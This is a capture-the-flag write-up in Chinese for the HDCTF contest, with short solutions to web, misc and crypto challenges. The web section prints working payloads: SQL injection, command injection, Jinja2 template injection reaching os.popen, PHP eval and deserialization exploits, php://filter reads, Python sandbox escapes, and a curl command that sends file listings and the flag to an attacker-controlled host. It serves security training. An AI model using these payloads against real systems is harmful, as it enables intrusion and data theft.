web

by　Firebasky

signin

`查看源代码，base64解密`

babysql

https://bbs.ichunqiu.com/thread-44483-1-1.html

`查看字段`

payload:`1'order by 3%23`

获得flag:`1'union select 1,2,flag from flag%23`

babyrce

https://blog.csdn.net/qq_43431158/article/details/105422347#CTF%E8%80%83%E5%AF%9F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E9%A2%98

payload：`127.0.0.1|cat /flag`

easy_git

https://www.cnblogs.com/Lmg66/p/13598803.html

使用GitHack 工具

`python GitHack.py -u 8.129.15.153:20003/.git/`

`HDCTF{ACTF_.git_leak_is_dangerous}`

注：可能一次不成功，可以多尝试几次

backup_file

/index.php.bak下载备份文件

弱类型比较

`?key=123`

easy_file_include

https://www.freebuf.com/articles/web/182280.html

`php://filter/read=convert.base64-encode/resource=flag.php`

do_u_know_HTTP

根据提示进行添加

1.Requests Header | Http Header

Header	解释	示例
Accept	指定客户端能够接收的内容类型	Accept: text/plain, text/html
Accept-Charset	浏览器可以接受的字符编码集。	Accept-Charset: iso-8859-5
Accept-Encoding	指定浏览器可以支持的web服务器返回内容压缩编码类型。	Accept-Encoding: compress, gzip
Accept-Language	浏览器可接受的语言	Accept-Language: en,zh
Accept-Ranges	可以请求网页实体的一个或者多个子范围字段	Accept-Ranges: bytes
Authorization	HTTP授权的授权证书	Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Cache-Control	指定请求和响应遵循的缓存机制	Cache-Control: no-cache
Connection	表示是否需要持久连接。（HTTP 1.1默认进行持久连接）	Connection: close
Cookie	HTTP请求发送时，会把保存在该请求域名下的所有cookie值一起发送给web服务器。	Cookie: $Version=1; Skin=new;
Content-Length	请求的内容长度	Content-Length: 348
Content-Type	请求的与实体对应的MIME信息	Content-Type: application/x-www-form-urlencoded
Date	请求发送的日期和时间	Date: Tue, 15 Nov 2010 08:12:31 GMT
Expect	请求的特定的服务器行为	Expect: 100-continue
From	发出请求的用户的Email	From: user@email.com
Host	指定请求的服务器的域名和端口号	Host: www.baidu.com
If-Match	只有请求内容与实体相匹配才有效	If-Match: “737060cd8c284d8af7ad3082f209582d”
If-Modified-Since	如果请求的部分在指定时间之后被修改则请求成功，未被修改则返回304代码	If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT
If-None-Match	如果内容未改变返回304代码，参数为服务器先前发送的Etag，与服务器回应的Etag比较判断是否改变	If-None-Match: “737060cd8c284d8af7ad3082f209582d”
If-Range	如果实体未改变，服务器发送客户端丢失的部分，否则发送整个实体。参数也为Etag	If-Range: “737060cd8c284d8af7ad3082f209582d”
If-Unmodified-Since	只在实体在指定时间之后未被修改才请求成功	If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT
Max-Forwards	限制信息通过代理和网关传送的时间	Max-Forwards: 10
Pragma	用来包含实现特定的指令	Pragma: no-cache
Proxy-Authorization	连接到代理的授权证书	Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==
Range	只请求实体的一部分，指定范围	Range: bytes=500-999
Referer	先前网页的地址，当前请求网页紧随其后,即来路	Referer: https://www.baidu.com/
TE	客户端愿意接受的传输编码，并通知服务器接受接受尾加头信息	TE: trailers,deflate;q=0.5
Upgrade	向服务器指定某种传输协议以便服务器进行转换(如果支持)	Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11

User-Agent	User-Agent的内容包含发出请求的用户信息	User-Agent: Mozilla/5.0 (Linux; X11)
Via	通知中间网关或代理服务器地址，通信协议	Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
Warning	关于消息实体的警告信息	Warn: 199 Miscellaneous warning

2.Responses Header | Http Header

Header	解释	示例
Accept-Ranges	表明服务器是否支持指定范围请求及哪种类型的分段请求	Accept-Ranges: bytes
Age	从原始服务器到代理缓存形成的估算时间（以秒计，非负）	Age: 12
Allow	对某网络资源的有效的请求行为，不允许则返回405	Allow: GET, HEAD
Cache-Control	告诉所有的缓存机制是否可以缓存及哪种类型	Cache-Control: no-cache
Content-Encoding	web服务器支持的返回内容压缩编码类型。	Content-Encoding: gzip
Content-Language	响应体的语言	Content-Language: en,zh
Content-Length	响应体的长度	Content-Length: 348
Content-Location	请求资源可替代的备用的另一地址	Content-Location: /index.htm
Content-MD5	返回资源的MD5校验值	Content-MD5: Q2hlY2sgSW50ZWdyaXR5lQ==
Content-Range	在整个返回体中本部分的字节位置	Content-Range: bytes 21010-47021/47022
Content-Type	返回内容的MIME类型	Content-Type: text/html; charset=utf-8
Date	原始服务器消息发出的时间	Date: Tue, 15 Nov 2010 08:12:31 GMT
ETag	请求变量的实体标签的当前值	ETag: “737060cd8c284d8af7ad3082f209582d”
Expires	响应过期的日期和时间	Expires: Thu, 01 Dec 2010 16:00:00 GMT
Last-Modified	请求资源的最后修改时间	Last-Modified: Tue, 15 Nov 2010 12:45:26 GMT
Location	用来重定向接收方到非请求URL的位置来完成请求或标识新的资源	Location: https://www.baidu.com/
Pragma	包括实现特定的指令，它可应用到响应链上的任何接收方	Pragma: no-cache
Proxy-Authenticate	它指出认证方案和可应用到代理的该URL上的参数	Proxy-Authenticate: Basic
refresh	应用于重定向或一个新的资源被创造，在5秒之后重定向（由网景提出，被大部分浏览器支持）	Refresh: 5; url=https://www.baidu.com/
Retry-After	如果实体暂时不可取，通知客户端在指定时间之后再次尝试	Retry-After: 120
Server	web服务器软件名称	Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)
Set-Cookie	设置Http Cookie	Set-Cookie: UserID=JohnDoe; Max-Age=3600; Version=1
Trailer	指出头域在分块传输编码的尾部存在	Trailer: Max-Forwards
Transfer-Encoding	文件传输编码	Transfer-Encoding:chunked
Vary	告诉下游代理是使用缓存响应还是从原始服务器请求	Vary: *
Via	告知代理客户端响应是通过哪里发送的	Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)

Warning	警告实体可能存在的问题	Warning: 199 Miscellaneous warning
WWW-Authenticate	表明客户端请求实体应该使用的授权方案	WWW-Authenticate: Basic

添加参数是

`Mg:`

erciyuan

`这道题一点点坑，思路是进行文件包含，读取文件，必须知道加密格式，结果加密格式在返回包里面`

`Hint: !HDCTF!.php && bin2hex(base64_encode(gzdeflate($file)))`

第二个坑是将`!换成了HnuSec`，读取源代码发现的

```
<?php
$a='HnuSecHDCTFHnuSec.php';
echo (bin2hex(base64_encode(gzdeflate($a))));
#383867724455354e396e4278446e487a41445031436a494b41413d3d
```

获得flag

hash_hmac

post:

`x[]=1&y[]=2`

welcome

登录成功就OK

`用户名：admin`

密码直接给你了

calculator_v1

因为没有对参数进行过滤可以执行命令

`open("flag").read()`

`__import__('os').popen('cat flag').read()`

ezflask

https://www.cnblogs.com/bmjoker/p/13508538.html

https://blog.csdn.net/a3320315/article/details/104102979?utm_source=app

```
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval'] ('__import__("os").popen("cat flag").read()') }} {% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
```

dudaima

https://zhuanlan.zhihu.com/p/102166928?utm_source=qq

```php
<?php
show_source(__FILE__);
error_reporting(0);
include "lib.php";
class Just4Fun {
    public $enter;
    public $secret;
}
if(isset($_GET["pass"])) {
    $o = unserialize($_GET["pass"]);

    $o->secret = bin2hex(random_bytes(256));

    if ($o->secret === $o->enter){
        echo FLAG;
    }else{
        die("secret or enter wrong!");
    }
}else{
    die("no pass");
}
#代码非常简单，就是让Just4Fun类里面的属性值相同就获得flag
#但是secret的值我们不知道，但是我们知道他的地址不会改变。
```

payload:

```php
<?php
error_reporting(0);
class Just4Fun {
    public $enter;
    public $secret;
}
$a =new Just4Fun();
$a->enter=&$a->secret;//这里的a=&b 即代表将b的指针赋值给a 无论b的值怎么变 a始终等于b
echo serialize($a);
#O:8:"Just4Fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
```

getshell

```php
<?php
$str = $_POST['str'];

if(isset($str)){
    $sp = ",";
    $kv = "=";

    $arr =
str_replace(array($kv,$sp),array('"=>"','","'),'array("'.$str.'")');

```

```
    eval("\$arr"." = $arr;");

}else{
    show_source(__FILE__);
}
```

通过闭合前面和注释后面绕过

payload:`");system('cat flag.php');//`

warmup

和wecome一样的

welcome_to_the_new

简单的反序列化

```
#payload
<?php
error_reporting(0);
Class Stu{
    private $name;
    private $age;
    private $sex;
    public $info = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
$someone = new Stu('M&G', 20, 'Man');
echo urlencode(serialize($someone));
```

calculator_v2

```
open('flag').__class__.__dict__['re'+'ad'](open('flag'))
```

simple_trick

https://blog.csdn.net/moliyiran/article/details/81172325

```
<?php
highlight_file(__FILE__);
include('flag.php');
$a = $_GET['a'];
$b = unserialize ($a);
$b->c = $flag;
foreach($b as $key => $value)
{
        if($key==='c')
        {
                continue;
        }
        echo $value;
}
```

```
?>
```

```
#payload
#m3w师傅
<?php
$a=new stdClass();
//借用内置类声明对象
$a->b=&$a->c;
//将c的地址附给b
// print_r($a);
echo serialize($a);
?>
```

welcome_to_the_new2

在welcome_to_the_new1的基础上添加了php字符串解析漏洞

https://www.freebuf.com/articles/web/213359.html

```
#payload
<?php
error_reporting(0);
Class Stu{
    private $name;
    private $age;
    private $sex;
    public $info = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
$someone = new Stu('M&G', 20, 'Man');
echo urlencode(serialize($someone));
#O%3A3%3A%22Stu%22%3A4%3A%7Bs%3A9%3A%22%00Stu%00name%22%3BN%3Bs%3A8%3A%22%00Stu%00age%22%3BN%3Bs%3A8%3A%22%00Stu%00sex%22%3BN%3Bs%3A4%3A%22info%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D
```

传递的参数和值是

`Hai[nan.University=O%3A3%3A%22Stu%22%3A4%3A%7Bs%3A9%3A%22%00Stu%00name%22%3BN%3Bs%3A8%3A%22%00Stu%00age%22%3BN%3Bs%3A8%3A%22%00Stu%00sex%22%3BN%3Bs%3A4%3A%22info%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D`

calculator_v3

```
#m3w师傅的payload
http://8.129.15.153:20020/?question=exec("__import__('o'%2b's').po"%2b"pen('curl -d `find / -name \"flag*\"|base64 -w 0` ip:端口').re"%2b"ad()")
先用这个payload带回flag的位置

http://8.129.15.153:20020/?question=exec("__import__('o'%2b's').po"%2b"pen('curl -d `cat /usr/src/app/flag|base64 -w 0` ip:端口').re"%2b"ad()")
再用这个带回flag
```

ezflask

```
{{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['po'+'pen']("cat fl""ag").read()}}
```

misc

签到题

`直接上flag`

一步之遥

`zip伪加密，修改最后数据01===》00`

你知道lsb是什么意思吗

`利用zsteg查看照片,发现存在zip,和flag`

```
zsteg -E "b1,rgb,lsb,xy" 1.png > flag.zip
```

利用crc暴力破解

girlfriend

`通过Wireshark打开，从http分离照片获得flag`

嘤语

`将嘤换成-去解密`

你真的了解dns吗

`考察 dns的txt解析`

payload：`nslookup -qt=txt hdctf.0x00.work`

密码

起源

`凯撒密码加密`

围住世界

`相当于栅栏密码的变性，需要自己推`

3 6 6 6 3

有趣起来了

`考察埃特巴什码`